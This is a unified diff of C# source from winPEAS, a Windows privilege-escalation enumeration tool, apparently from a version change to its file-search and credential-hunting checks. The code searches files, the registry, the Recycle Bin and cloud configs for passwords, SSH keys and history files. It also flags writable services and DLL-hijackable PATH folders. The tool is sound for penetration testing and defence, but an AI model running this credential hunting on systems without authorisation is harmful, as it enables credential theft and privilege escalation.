{
|
||||
return new bool[] { true, somethingFound };
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// there are inner sections
|
||||
@@ -137,72 +100,24 @@ namespace winPEAS.Checks
|
||||
{
|
||||
foreach (var innerFileToSearch in fileSettings.files)
|
||||
{
|
||||
List<CustomFileInfo> one_file_list = new List<CustomFileInfo>() { file };
|
||||
Search(one_file_list, innerFileToSearch.name, innerFileToSearch.value, ref resultsCount, searchName, somethingFound);
|
||||
// search for inner files/folders by inner file/folder name
|
||||
var innerFiles = SearchHelper.GetFilesFast(file.FullPath, innerFileToSearch.name, isFoldersIncluded: true);
|
||||
|
||||
foreach (var innerFile in innerFiles)
|
||||
{
|
||||
// process inner file/folder
|
||||
var isProcessed = ProcessResult(innerFile, innerFileToSearch.value, ref resultsCount);
|
||||
if (!isProcessed)
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return new bool[] { false, somethingFound };
|
||||
}
|
||||
|
||||
private static List<string> SearchContent(string text, string regex_str, bool caseinsensitive)
|
||||
{
|
||||
List<string> foundMatches = new List<string>();
|
||||
|
||||
try
|
||||
{
|
||||
Regex rgx;
|
||||
bool is_re_match = false;
|
||||
try
|
||||
{
|
||||
// Use "IsMatch" because it supports timeout, if exception is thrown exit the func to avoid ReDoS in "rgx.Matches"
|
||||
if (caseinsensitive)
|
||||
{
|
||||
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.IgnoreCase, TimeSpan.FromSeconds(120));
|
||||
rgx = new Regex(regex_str.Trim(), RegexOptions.IgnoreCase);
|
||||
}
|
||||
else
|
||||
{
|
||||
is_re_match = Regex.IsMatch(text, regex_str.Trim(), RegexOptions.None, TimeSpan.FromSeconds(120));
|
||||
rgx = new Regex(regex_str.Trim());
|
||||
}
|
||||
}
|
||||
catch (RegexMatchTimeoutException e)
|
||||
{
|
||||
if (Checks.IsDebug)
|
||||
{
|
||||
Beaprint.GrayPrint($"The regex {regex_str} had a timeout (ReDoS avoided but regex unchecked in a file)");
|
||||
}
|
||||
return foundMatches;
|
||||
}
|
||||
|
||||
if (!is_re_match)
|
||||
{
|
||||
return foundMatches;
|
||||
}
|
||||
|
||||
int cont = 0;
|
||||
foreach (Match match in rgx.Matches(text))
|
||||
{
|
||||
if (cont > 10) break;
|
||||
|
||||
if (match.Value.Length < 400 && match.Value.Trim().Length > 2)
|
||||
foundMatches.Add(match.Value);
|
||||
|
||||
cont++;
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Beaprint.GrayPrint($"Error looking for regex {regex_str} inside files: {e}");
|
||||
}
|
||||
|
||||
//}
|
||||
|
||||
return foundMatches;
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void PrintYAMLSearchFiles()
|
||||
@@ -210,33 +125,32 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
var files = InitializeFileSearch();
|
||||
//var folders = files.Where(f => f.IsDirectory).ToList();
|
||||
var folders = files.Where(f => f.IsDirectory).ToList();
|
||||
var config = Checks.YamlConfig;
|
||||
var defaults = config.defaults;
|
||||
var searchItems = config.search.Where(i => !(i.value.disable != null && i.value.disable.Contains("winpeas")));
|
||||
var searchItems = config.search.Where(i => i.value.config.auto_check &&
|
||||
(i.value.disable == null || !i.value.disable.Contains("winpeas")));
|
||||
|
||||
foreach (var searchItem in searchItems)
|
||||
{
|
||||
var searchName = searchItem.name;
|
||||
var value = searchItem.value;
|
||||
var searchConfig = value.config;
|
||||
bool somethingFound = false;
|
||||
|
||||
CheckRunner.Run(() =>
|
||||
{
|
||||
Beaprint.MainPrint($"Analyzing {searchName} Files (limit {ListFileLimit})");
|
||||
|
||||
int resultsCount = 0;
|
||||
bool[] results;
|
||||
bool isSearchFinished = false;
|
||||
|
||||
foreach (var file in value.files)
|
||||
{
|
||||
var fileName = file.name.ToLower();
|
||||
var fileSettings = file.value;
|
||||
var itemsToSearch = fileSettings.type == "f" ? files : folders;
|
||||
|
||||
results = Search(files, fileName, fileSettings, ref resultsCount, searchName, somethingFound);
|
||||
|
||||
isSearchFinished = results[0];
|
||||
somethingFound = results[1];
|
||||
isSearchFinished = Search(itemsToSearch, fileName, fileSettings, ref resultsCount);
|
||||
|
||||
if (isSearchFinished)
|
||||
{
|
||||
@@ -251,260 +165,6 @@ namespace winPEAS.Checks
|
||||
}
|
||||
}
|
||||
|
||||
private static void PrintYAMLRegexesSearchFiles()
|
||||
{
|
||||
try
|
||||
{
|
||||
//List<string> extra_no_extensions = new List<string>() { ".msi", ".exe", ".dll", ".pyc", ".pyi", ".lnk", ".css", ".hyb", ".etl", ".mo", ".xrm-ms", ".idl", ".vsix", ".mui", ".qml", ".tt" };
|
||||
|
||||
List<string> valid_extensions = new List<string>() {
|
||||
// text
|
||||
".txt", ".text", ".md", ".markdown", ".toml", ".rtf",
|
||||
|
||||
// config
|
||||
".cnf", ".conf", ".config", ".json", ".yml", ".yaml", ".xml", ".xaml",
|
||||
|
||||
// dev
|
||||
".py", ".js", ".html", ".c", ".cpp", ".pl", ".rb", ".smali", ".java", ".php", ".bat", ".ps1",
|
||||
|
||||
// hidden
|
||||
".id_rsa", ".id_dsa", ".bash_history", ".rsa",
|
||||
};
|
||||
|
||||
List<string> invalid_names = new List<string>()
|
||||
{
|
||||
"eula.rtf", "changelog.md"
|
||||
};
|
||||
|
||||
if (Checks.IsDebug)
|
||||
Beaprint.PrintDebugLine("Looking for secrets inside files via regexes");
|
||||
|
||||
// No dirs, less than 1MB, only interesting extensions and not false positives files.
|
||||
var files = InitializeFileSearch(Checks.SearchProgramFiles).Where(f => !f.IsDirectory && valid_extensions.Contains(f.Extension.ToLower()) && !invalid_names.Contains(f.Filename.ToLower()) && f.Size > 0 && f.Size < Checks.MaxRegexFileSize).ToList();
|
||||
var config = Checks.RegexesYamlConfig; // Get yaml info
|
||||
Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> foundRegexes = new Dictionary<string, Dictionary<string, Dictionary<string, List<string>>>> { };
|
||||
|
||||
if (Checks.IsDebug)
|
||||
{
|
||||
Beaprint.PrintDebugLine($"Searching regexes in {files.Count} files");
|
||||
valid_extensions.ForEach(ext =>
|
||||
{
|
||||
int cont = 0;
|
||||
files.ForEach(f =>
|
||||
{
|
||||
if (f.Extension.ToLower() == ext.ToLower())
|
||||
cont++;
|
||||
});
|
||||
Beaprint.PrintDebugLine($"Found {cont} files with ext {ext}");
|
||||
});
|
||||
|
||||
}
|
||||
|
||||
/*
|
||||
* Useful for debbugging purposes to see the common file extensions found
|
||||
Dictionary <string, int> dict_str = new Dictionary<string, int>();
|
||||
foreach (var f in files)
|
||||
{
|
||||
if (dict_str.ContainsKey(f.Extension))
|
||||
dict_str[f.Extension] += 1;
|
||||
else
|
||||
dict_str[f.Extension] = 1;
|
||||
}
|
||||
|
||||
var sortedDict = from entry in dict_str orderby entry.Value descending select entry;
|
||||
|
||||
foreach (KeyValuePair<string, int> kvp in sortedDict)
|
||||
{
|
||||
Console.WriteLine(string.Format("Key = {0}, Value = {1}", kvp.Key, kvp.Value));
|
||||
}*/
|
||||
|
||||
//double pb = 0;
|
||||
//using (var progress = new ProgressBar())
|
||||
//{
|
||||
// CheckRunner.Run(() =>
|
||||
// {
|
||||
// int num_threads = 8;
|
||||
// try
|
||||
// {
|
||||
// num_threads = Environment.ProcessorCount;
|
||||
// }
|
||||
// catch (Exception ex) { }
|
||||
|
||||
// Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
||||
// {
|
||||
|
||||
// foreach (var regex_obj in config.regular_expresions)
|
||||
// {
|
||||
// foreach (var regex in regex_obj.regexes)
|
||||
// {
|
||||
// if (regex.disable != null && regex.disable.ToLower().Contains("winpeas"))
|
||||
// {
|
||||
// continue;
|
||||
// }
|
||||
|
||||
// List<string> results = new List<string> { };
|
||||
|
||||
// var timer = new Stopwatch();
|
||||
// if (Checks.IsDebug)
|
||||
// {
|
||||
// timer.Start();
|
||||
// }
|
||||
|
||||
|
||||
// try
|
||||
// {
|
||||
// string text = File.ReadAllText(f.FullPath);
|
||||
|
||||
// results = SearchContent(text, regex.regex, (bool)regex.caseinsensitive);
|
||||
// if (results.Count > 0)
|
||||
// {
|
||||
// if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
||||
// if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
||||
|
||||
// foundRegexes[regex_obj.name][regex.name][f.FullPath] = results;
|
||||
// }
|
||||
// }
|
||||
// catch (System.IO.IOException)
|
||||
// {
|
||||
// // Cannot read the file
|
||||
// }
|
||||
|
||||
// if (Checks.IsDebug)
|
||||
// {
|
||||
// timer.Stop();
|
||||
|
||||
// TimeSpan timeTaken = timer.Elapsed;
|
||||
// if (timeTaken.TotalMilliseconds > 20000)
|
||||
// Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
|
||||
// }
|
||||
// }
|
||||
// }
|
||||
// pb += (double)100 / files.Count;
|
||||
// progress.Report(pb / 100); //Value must be in [0..1] range
|
||||
// });
|
||||
// }, Checks.IsDebug);
|
||||
//}
|
||||
|
||||
|
||||
double pb = 0;
|
||||
using (var progress = new ProgressBar())
|
||||
{
|
||||
CheckRunner.Run(() =>
|
||||
{
|
||||
int num_threads = 8;
|
||||
try
|
||||
{
|
||||
num_threads = Environment.ProcessorCount;
|
||||
}
|
||||
catch (Exception ex) { }
|
||||
|
||||
Parallel.ForEach(files, new ParallelOptions { MaxDegreeOfParallelism = num_threads }, f =>
|
||||
{
|
||||
foreach (var regex_obj in config.regular_expresions)
|
||||
{
|
||||
foreach (var regex in regex_obj.regexes)
|
||||
{
|
||||
if (regex.disable != null && regex.disable.ToLower().Contains("winpeas"))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
Dictionary<string, List<string>> fileResults = new Dictionary<string, List<string>>();
|
||||
|
||||
var timer = new Stopwatch();
|
||||
if (Checks.IsDebug)
|
||||
{
|
||||
timer.Start();
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
using (StreamReader sr = new StreamReader(f.FullPath))
|
||||
{
|
||||
string line;
|
||||
while ((line = sr.ReadLine()) != null)
|
||||
{
|
||||
List<string> results = SearchContent(line, regex.regex, (bool)regex.caseinsensitive);
|
||||
if (results.Count > 0)
|
||||
{
|
||||
if (!fileResults.ContainsKey(f.FullPath))
|
||||
{
|
||||
fileResults[f.FullPath] = new List<string>();
|
||||
}
|
||||
fileResults[f.FullPath].AddRange(results);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (fileResults.Count > 0)
|
||||
{
|
||||
if (!foundRegexes.ContainsKey(regex_obj.name)) foundRegexes[regex_obj.name] = new Dictionary<string, Dictionary<string, List<string>>> { };
|
||||
if (!foundRegexes[regex_obj.name].ContainsKey(regex.name)) foundRegexes[regex_obj.name][regex.name] = new Dictionary<string, List<string>> { };
|
||||
|
||||
foundRegexes[regex_obj.name][regex.name] = fileResults;
|
||||
}
|
||||
}
|
||||
catch (System.IO.IOException)
|
||||
{
|
||||
// Cannot read the file
|
||||
}
|
||||
|
||||
if (Checks.IsDebug)
|
||||
{
|
||||
timer.Stop();
|
||||
|
||||
TimeSpan timeTaken = timer.Elapsed;
|
||||
if (timeTaken.TotalMilliseconds > 20000)
|
||||
Beaprint.PrintDebugLine($"\nThe regex {regex.regex} took {timeTaken.TotalMilliseconds}s in {f.FullPath}");
|
||||
}
|
||||
}
|
||||
}
|
||||
pb += (double)100 / files.Count;
|
||||
progress.Report(pb / 100); //Value must be in [0..1] range
|
||||
});
|
||||
}, Checks.IsDebug);
|
||||
}
|
||||
|
||||
|
||||
// Print results
|
||||
foreach (KeyValuePair<string, Dictionary<string, Dictionary<string, List<string>>>> item in foundRegexes)
|
||||
{
|
||||
foreach (KeyValuePair<string, Dictionary<string, List<string>>> item2 in item.Value)
|
||||
{
|
||||
string masterCategory = item.Key;
|
||||
string regexCategory = item2.Key;
|
||||
int limit = 70;
|
||||
|
||||
string msg = $"Found {masterCategory}-{regexCategory} Regexes";
|
||||
if (item2.Value.Count > limit)
|
||||
msg += $" (limited to {limit})";
|
||||
|
||||
Beaprint.MainPrint(msg);
|
||||
|
||||
int cont = 0;
|
||||
foreach (KeyValuePair<string, List<string>> item3 in item2.Value)
|
||||
{
|
||||
if (cont > limit)
|
||||
break;
|
||||
|
||||
foreach (string regexMatch in item3.Value)
|
||||
{
|
||||
string filePath = item3.Key;
|
||||
Beaprint.PrintNoNL($"{filePath}: ");
|
||||
Beaprint.BadPrint(regexMatch);
|
||||
}
|
||||
|
||||
cont++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception e)
|
||||
{
|
||||
Beaprint.GrayPrint($"Error looking for regexes inside files: {e}");
|
||||
}
|
||||
}
|
||||
|
||||
private static string GetRegexpFromString(string str)
|
||||
{
|
||||
// we need to update the regexp to work here
|
||||
@@ -530,37 +190,20 @@ namespace winPEAS.Checks
|
||||
|
||||
if (resultsCount > ListFileLimit) return false;
|
||||
|
||||
// If contains undesireable string, stop processing
|
||||
if (fileSettings.remove_path != null && fileSettings.remove_path.Length > 0)
|
||||
{
|
||||
foreach (var rem_path in fileSettings.remove_path.Split('|'))
|
||||
{
|
||||
if (fileInfo.FullPath.ToLower().Contains(rem_path.ToLower()))
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
if (fileSettings.type == "f")
|
||||
{
|
||||
var colors = new Dictionary<string, string>
|
||||
if ((bool)fileSettings.just_list_file)
|
||||
{
|
||||
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||
};
|
||||
Beaprint.AnsiPrint($"File: {fileInfo.FullPath}", colors);
|
||||
|
||||
if (!(bool)fileSettings.just_list_file)
|
||||
Beaprint.BadPrint($" {fileInfo.FullPath}");
|
||||
}
|
||||
else
|
||||
{
|
||||
GrepResult(fileInfo, fileSettings);
|
||||
}
|
||||
}
|
||||
else if (fileSettings.type == "d")
|
||||
{
|
||||
var colors = new Dictionary<string, string>
|
||||
{
|
||||
{ fileInfo.Filename, Beaprint.ansi_color_bad }
|
||||
};
|
||||
Beaprint.AnsiPrint($"Folder: {fileInfo.FullPath}", colors);
|
||||
|
||||
// just list the directory
|
||||
if ((bool)fileSettings.just_list_file)
|
||||
{
|
||||
@@ -582,6 +225,8 @@ namespace winPEAS.Checks
|
||||
|
||||
private static void GrepResult(CustomFileInfo fileInfo, FileSettings fileSettings)
|
||||
{
|
||||
Beaprint.NoColorPrint($" '{fileInfo.FullPath}' - content:");
|
||||
|
||||
var fileContent = File.ReadLines(fileInfo.FullPath);
|
||||
var colors = new Dictionary<string, string>();
|
||||
|
||||
@@ -627,7 +272,6 @@ namespace winPEAS.Checks
|
||||
|
||||
Beaprint.AnsiPrint(content, colors);
|
||||
|
||||
if (content.Length > 0)
|
||||
Console.WriteLine();
|
||||
}
|
||||
|
||||
@@ -637,16 +281,7 @@ namespace winPEAS.Checks
|
||||
// '-i -a -o "description.*" | sort | uniq'
|
||||
// - remove everything except from "description.*"
|
||||
|
||||
Regex regex;
|
||||
if (lineGrep.Contains("-i"))
|
||||
{
|
||||
regex = new Regex("\"([^\"]+)\"", RegexOptions.IgnoreCase);
|
||||
}
|
||||
else
|
||||
{
|
||||
regex = new Regex("\"([^\"]+)\"");
|
||||
}
|
||||
|
||||
Regex regex = new Regex("\"([^\"]+)\"");
|
||||
Match match = regex.Match(lineGrep);
|
||||
|
||||
if (match.Success)
|
||||
|
||||
@@ -151,7 +151,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Cloud Credentials");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
||||
List<Dictionary<string, string>> could_creds = KnownFileCredsInfo.ListCloudCreds();
|
||||
if (could_creds.Count != 0)
|
||||
{
|
||||
@@ -159,7 +159,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
string formString = " {0} ({1})\n Accessed:{2} -- Size:{3}";
|
||||
Beaprint.BadPrint(string.Format(formString, cc["file"], cc["Description"], cc["Accessed"], cc["Size"]));
|
||||
Console.WriteLine("");
|
||||
System.Console.WriteLine("");
|
||||
}
|
||||
}
|
||||
else
|
||||
@@ -182,7 +182,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
List<string> pwds = Unattended.ExtractUnattendedPwd(path);
|
||||
Beaprint.BadPrint(" " + path);
|
||||
Console.WriteLine(string.Join("\n", pwds));
|
||||
System.Console.WriteLine(string.Join("\n", pwds));
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -233,11 +233,11 @@ namespace winPEAS.Checks
|
||||
foreach (var site in sitelistFilesInfo.Sites)
|
||||
{
|
||||
Beaprint.NoColorPrint($" Share Name : {site.ShareName}");
|
||||
PrintColored($" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||
PrintColored($" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||
PrintColored($" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||
PrintColored($" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||
Beaprint.NoColorPrint($" Domain Name : {site.DomainName}\n" +
|
||||
PrintColored( $" User Name : {site.UserName}", !string.IsNullOrWhiteSpace(site.UserName));
|
||||
PrintColored( $" Server : {site.Server}", !string.IsNullOrWhiteSpace(site.Server));
|
||||
PrintColored( $" Encrypted Password : {site.EncPassword}", !string.IsNullOrWhiteSpace(site.EncPassword));
|
||||
PrintColored( $" Decrypted Password : {site.DecPassword}", !string.IsNullOrWhiteSpace(site.DecPassword));
|
||||
Beaprint.NoColorPrint( $" Domain Name : {site.DomainName}\n" +
|
||||
$" Name : {site.Name}\n" +
|
||||
$" Type : {site.Type}\n" +
|
||||
$" Relative Path : {site.RelativePath}\n");
|
||||
@@ -382,7 +382,7 @@ namespace winPEAS.Checks
|
||||
string[] passRegHklm = new string[] { @"SYSTEM\CurrentControlSet\Services\SNMP" };
|
||||
|
||||
Beaprint.MainPrint("Looking for possible regs with creds");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#inside-the-registry");
|
||||
|
||||
string winVnc4 = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\RealVNC\WinVNC4", "password");
|
||||
if (!string.IsNullOrEmpty(winVnc4.Trim()))
|
||||
@@ -431,7 +431,7 @@ namespace winPEAS.Checks
|
||||
};
|
||||
|
||||
Beaprint.MainPrint("Looking for possible password files in users homes");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
||||
var fileInfos = SearchHelper.SearchUserCredsFiles();
|
||||
|
||||
foreach (var fileInfo in fileInfos)
|
||||
@@ -470,7 +470,7 @@ namespace winPEAS.Checks
|
||||
};
|
||||
|
||||
Beaprint.MainPrint("Looking inside the Recycle Bin for creds files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
||||
List<Dictionary<string, string>> recy_files = InterestingFiles.InterestingFiles.GetRecycleBin();
|
||||
|
||||
foreach (Dictionary<string, string> rec_file in recy_files)
|
||||
@@ -480,7 +480,7 @@ namespace winPEAS.Checks
|
||||
if (Regex.Match(rec_file["Name"], pattern.Replace("*", ".*"), RegexOptions.IgnoreCase).Success)
|
||||
{
|
||||
Beaprint.DictPrint(rec_file, colorF, true);
|
||||
Console.WriteLine();
|
||||
System.Console.WriteLine();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -506,7 +506,7 @@ namespace winPEAS.Checks
|
||||
};
|
||||
|
||||
Beaprint.MainPrint("Searching known files that can contain creds in home");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-inside-files");
|
||||
|
||||
var files = SearchHelper.SearchUsersInterestingFiles();
|
||||
|
||||
@@ -747,8 +747,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
".bat",
|
||||
".exe",
|
||||
".ps1",
|
||||
".cmd"
|
||||
".ps1"
|
||||
};
|
||||
|
||||
var files = SearchHelper.GetFilesFast(systemDrive, "*", excludedDirs);
|
||||
|
||||
@@ -21,7 +21,6 @@ namespace winPEAS.Checks
|
||||
{
|
||||
{ badIps, Beaprint.ansi_color_bad },
|
||||
{ @"\[\:\:1\]", Beaprint.ansi_color_bad },
|
||||
{ @"\[\:\:\]", Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
public void PrintInfo(bool isDebug)
|
||||
@@ -81,7 +80,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
if (line.Length > 0 && line[0] != '#')
|
||||
{
|
||||
Console.WriteLine(" " + line.Replace("\t", " "));
|
||||
System.Console.WriteLine(" " + line.Replace("\t", " "));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -224,11 +223,6 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv4, processesByPid))
|
||||
{
|
||||
if (udpConnectionInfo.ProcessName == "dns") // Hundreds of them sometimes
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
Beaprint.AnsiPrint(
|
||||
string.Format(formatString,
|
||||
" UDP",
|
||||
@@ -260,11 +254,6 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (var udpConnectionInfo in NetworkInfoHelper.GetUdpConnections(IPVersion.IPv6, processesByPid))
|
||||
{
|
||||
if (udpConnectionInfo.ProcessName == "dns") // Hundreds of them sometimes
|
||||
{
|
||||
continue;
|
||||
}
|
||||
|
||||
Beaprint.AnsiPrint(
|
||||
string.Format(formatString,
|
||||
" UDP",
|
||||
@@ -304,8 +293,8 @@ namespace winPEAS.Checks
|
||||
Beaprint.GrayPrint(" DENY rules:");
|
||||
foreach (Dictionary<string, string> rule in Firewall.GetFirewallRules())
|
||||
{
|
||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], Checks.CurrentUserSiDs));
|
||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], Checks.CurrentUserSiDs));
|
||||
string filePerms = string.Join(", ", PermissionsHelper.GetPermissionsFile(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
||||
string folderPerms = string.Join(", ", PermissionsHelper.GetPermissionsFolder(rule["AppName"], winPEAS.Checks.Checks.CurrentUserSiDs));
|
||||
string formString = " ({0}){1}[{2}]: {3} {4} {5} from {6} --> {7}";
|
||||
if (filePerms.Length > 0)
|
||||
formString += "\n File Permissions: {8}";
|
||||
|
||||
@@ -14,8 +14,7 @@ namespace winPEAS.Checks
|
||||
|
||||
new List<Action>
|
||||
{
|
||||
//PrintInterestingProcesses,
|
||||
PrintVulnLeakedHandlers,
|
||||
PrintInterestingProcesses,
|
||||
}.ForEach(action => CheckRunner.Run(action, isDebug));
|
||||
}
|
||||
|
||||
@@ -24,7 +23,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Interesting Processes -non Microsoft-");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes", "Check if any interesting processes for memory dump or if you could overwrite some binary running");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes", "Check if any interesting processes for memory dump or if you could overwrite some binary running");
|
||||
List<Dictionary<string, string>> processesInfo = ProcessesInfo.GetProcInfo();
|
||||
|
||||
foreach (Dictionary<string, string> procInfo in processesInfo)
|
||||
@@ -84,24 +83,5 @@ namespace winPEAS.Checks
|
||||
Beaprint.GrayPrint(ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
void PrintVulnLeakedHandlers()
|
||||
{
|
||||
Beaprint.MainPrint("Vulnerable Leaked Handlers");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/leaked-handle-exploitation");
|
||||
|
||||
List<Dictionary<string, string>> vulnHandlers = ProcessesInfo.GetVulnHandlers();
|
||||
foreach (Dictionary<string, string> handler in vulnHandlers)
|
||||
{
|
||||
Dictionary<string, string> colors = new Dictionary<string, string>()
|
||||
{
|
||||
{ Checks.CurrentUserName, Beaprint.ansi_color_bad },
|
||||
{ handler["Reason"], Beaprint.ansi_color_bad },
|
||||
};
|
||||
|
||||
Beaprint.DictPrint(vulnHandlers, colors, true);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,7 +20,7 @@ namespace winPEAS.Checks
|
||||
{
|
||||
CheckRunner.Run(() =>
|
||||
{
|
||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(Checks.CurrentUserSiDs);
|
||||
modifiableServices = ServicesInfoHelper.GetModifiableServices(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
}, isDebug);
|
||||
}
|
||||
catch (Exception ex)
|
||||
@@ -42,7 +42,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Interesting Services -non Microsoft-");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can overwrite some service binary or perform a DLL hijacking, also check for unquoted paths");
|
||||
|
||||
List<Dictionary<string, string>> services_info = ServicesInfoHelper.GetNonstandardServices();
|
||||
|
||||
@@ -53,12 +53,12 @@ namespace winPEAS.Checks
|
||||
|
||||
foreach (Dictionary<string, string> serviceInfo in services_info)
|
||||
{
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], Checks.CurrentUserSiDs);
|
||||
List<string> fileRights = PermissionsHelper.GetPermissionsFile(serviceInfo["FilteredPath"], winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
List<string> dirRights = new List<string>();
|
||||
|
||||
if (serviceInfo["FilteredPath"] != null && serviceInfo["FilteredPath"] != "")
|
||||
{
|
||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), Checks.CurrentUserSiDs);
|
||||
dirRights = PermissionsHelper.GetPermissionsFolder(Path.GetDirectoryName(serviceInfo["FilteredPath"]), winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
}
|
||||
|
||||
bool noQuotesAndSpace = MyUtils.CheckQuoteAndSpace(serviceInfo["PathName"]);
|
||||
@@ -121,7 +121,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Modifiable Services");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services", "Check if you can modify any service");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can modify any service");
|
||||
if (modifiableServices.Count > 0)
|
||||
{
|
||||
Beaprint.BadPrint(" LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:");
|
||||
@@ -158,8 +158,8 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Looking if you can modify any service registry");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(Checks.CurrentUserSiDs);
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
|
||||
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
|
||||
|
||||
Dictionary<string, string> colorsWR = new Dictionary<string, string>()
|
||||
{
|
||||
@@ -186,7 +186,7 @@ namespace winPEAS.Checks
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Checking write permissions in PATH folders (DLL Hijacking)");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders");
|
||||
Dictionary<string, string> path_dllhijacking = ServicesInfoHelper.GetPathDLLHijacking();
|
||||
foreach (KeyValuePair<string, string> entry in path_dllhijacking)
|
||||
{
|
||||
|
||||
@@ -5,21 +5,21 @@ using System.Linq;
|
||||
